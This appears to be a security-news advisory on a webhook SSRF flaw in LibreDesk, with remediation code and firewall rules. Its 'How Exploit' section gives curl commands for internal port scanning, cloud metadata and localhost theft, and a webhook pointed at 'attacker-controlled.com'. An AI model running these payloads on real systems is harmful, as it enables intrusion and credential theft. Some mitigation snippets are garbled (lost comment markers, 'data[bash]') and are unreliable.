LibreDesk, Server-Side Request Forgery (SSRF), CVE-202X-XXXXX (Critical)

Listen to this Post

The LibreDesk SSRF vulnerability (CVE pending as of 2025-12-07) allows an authenticated Application Admin to force the server to make HTTP requests to arbitrary internal destinations . This occurs because the application fails to validate destination URLs for webhooks. Attackers can map the internal network by observing connection differences between open and closed ports, identifying running services on localhost and RFC 1918 addresses even without response bodies . Additionally, when internal services return non-2xx responses, the application logs full response bodies containing sensitive data like secret keys . The technical root cause exists in multiple locations: `cmd/webhooks.go` only checks if URLs are empty, not if they resolve to private IPs; `internal/webhook/webhook.go` uses a default `http.Client` that follows redirects and connects to any IP; and verbose error logging creates a side-channel for data exfiltration . Attackers can extract sensitive information by targeting endpoints that return errors or forcing errors on internal services. The vulnerability affects versions prior to the commit `1.0.2-0.20260215211005-727213631ce6` .
Platform: LibreDesk
Version: < 1.0.2 commit
Vulnerability: SSRF
Severity: Critical
Date: 2025-12-07

Prediction: Patch available

What Undercode Say:

Analytics

Check current LibreDesk version
git describe --tags
cat go.mod | grep github.com/abhinavxd/libredesk
Test for SSRF vulnerability (authenticated)
curl -X POST https://libredesk-instance/api/webhooks \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/","events":["conversation.created"]}'
Monitor webhook delivery logs for information leakage
journalctl -u libredesk | grep "webhook delivery failed" | grep -o 'response="."'
Check webhook configuration exposure
curl -s https://libredesk-instance/admin/webhooks -H "Authorization: Bearer $ADMIN_TOKEN"
DNS rebind test payload example (requires malicious DNS)
curl -X POST https://libredesk-instance/api/webhooks \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-d '{"url":"http://attacker-controlled.com/","events":["conversation.created"]}'

How Exploit:

Step 1: Internal network scanning via timing differences
for port in {1..1024}; do
time curl -X POST https://libredesk-instance/api/webhooks \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-d "{\"url\":\"http://192.168.1.1:${port}/\",\"events\":[]}" 2>&1 | \
grep -E "error|success|connection refused"
done
Step 2: Extract sensitive data from error responses
curl -X POST https://libredesk-instance/api/webhooks \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-d '{"url":"http://localhost:9200/_cat/indices","events":[]}' Elasticsearch
Step 3: Target cloud metadata services
curl -X POST https://libredesk-instance/api/webhooks \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-d '{"url":"http://169.254.169.254/latest/user-data/","events":[]}'
Step 4: Force error on internal service to trigger logging
curl -X POST https://libredesk-instance/api/webhooks \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-d '{"url":"http://127.0.0.1:8080/malformed-request","events":[]}'

Protection from this CVE:

// Safe HTTP client implementation with IP validation
import (
"net"
"net/http"
"net/url"
"strings"
)
func isPrivateIP(ip net.IP) bool {
privateBlocks := []string{
"10.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"169.254.0.0/16",
"127.0.0.0/8",
}
for _, block := range privateBlocks {
_, cidr, _ := net.ParseCIDR(block)
if cidr.Contains(ip) {
return true
}
}
return false
}
func validateWebhookURL(rawURL string) error {
parsed, err := url.Parse(rawURL)
if err != nil {
return err
}
ips, err := net.LookupIP(parsed.Hostname())
if err != nil {
return err
}
for _, ip := range ips {
if isPrivateIP(ip) {
return fmt.Errorf("private IP addresses not allowed")
}
}
return nil
}
// Custom transport with IP validation
transport := &http.Transport{
DialContext: (&net.Dialer{
Control: func(network, address string, c syscall.RawConn) error {
host, port, _ := net.SplitHostPort(address)
ip := net.ParseIP(host)
if isPrivateIP(ip) {
return fmt.Errorf("blocked private IP: %s", host)
}
return nil
},
}).DialContext,
}
client := &http.Client{Transport: transport}
Systemd service hardening (libredesk.service)
[bash]
PrivateNetwork=no
RestrictAddressFamilies=AF_INET AF_INET6
NoNewPrivileges=yes
PrivateTmp=yes
ProtectSystem=strict
ProtectHome=yes
Firewall rules to restrict outbound webhooks
iptables -A OUTPUT -m owner --uid-owner libredesk -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -m owner --uid-owner libredesk -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -m owner --uid-owner libredesk -d 192.168.0.0/16 -j DROP
iptables -A OUTPUT -m owner --uid-owner libredesk -d 127.0.0.0/8 -j DROP
iptables -A OUTPUT -m owner --uid-owner libredesk -d 169.254.0.0/16 -j DROP
Webhook signature verification to prevent malicious callbacks
import hmac
import hashlib
def verify_webhook_signature(payload: bytes, signature_header: str, secret: str) -> bool:
"""Verify webhook payload signature to prevent unauthorized callbacks"""
expected = hmac.new(
secret.encode('utf-8'),
payload,
hashlib.sha256
).hexdigest()
return hmac.compare_digest(f"sha256={expected}", signature_header)
Sanitize error logs
import json
import logging
class SanitizedWebhookHandler(logging.Handler):
def emit(self, record):
if hasattr(record, 'response_body'):
try:
data = json.loads(record.response_body)
Redact sensitive fields
sensitive_keys = ['secret', 'password', 'token', 'key', 'auth']
for key in sensitive_keys:
if key in data:
data[bash] = ''
record.response_body = json.dumps(data)
except:
Truncate and sanitize non-JSON responses
record.response_body = record.response_body[:100] + '... [bash]'
super().emit(record)

Impact

  • Internal network reconnaissance exposing database servers, caches, and internal applications
  • Extraction of cloud metadata credentials (AWS/Azure/GCP instance profiles)
  • Access to internal APIs and services behind firewalls
  • Credential theft from error responses containing secrets, tokens, and configuration data
  • DNS rebinding attacks enabling access to protected services
  • Lateral movement preparation through internal service discovery

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top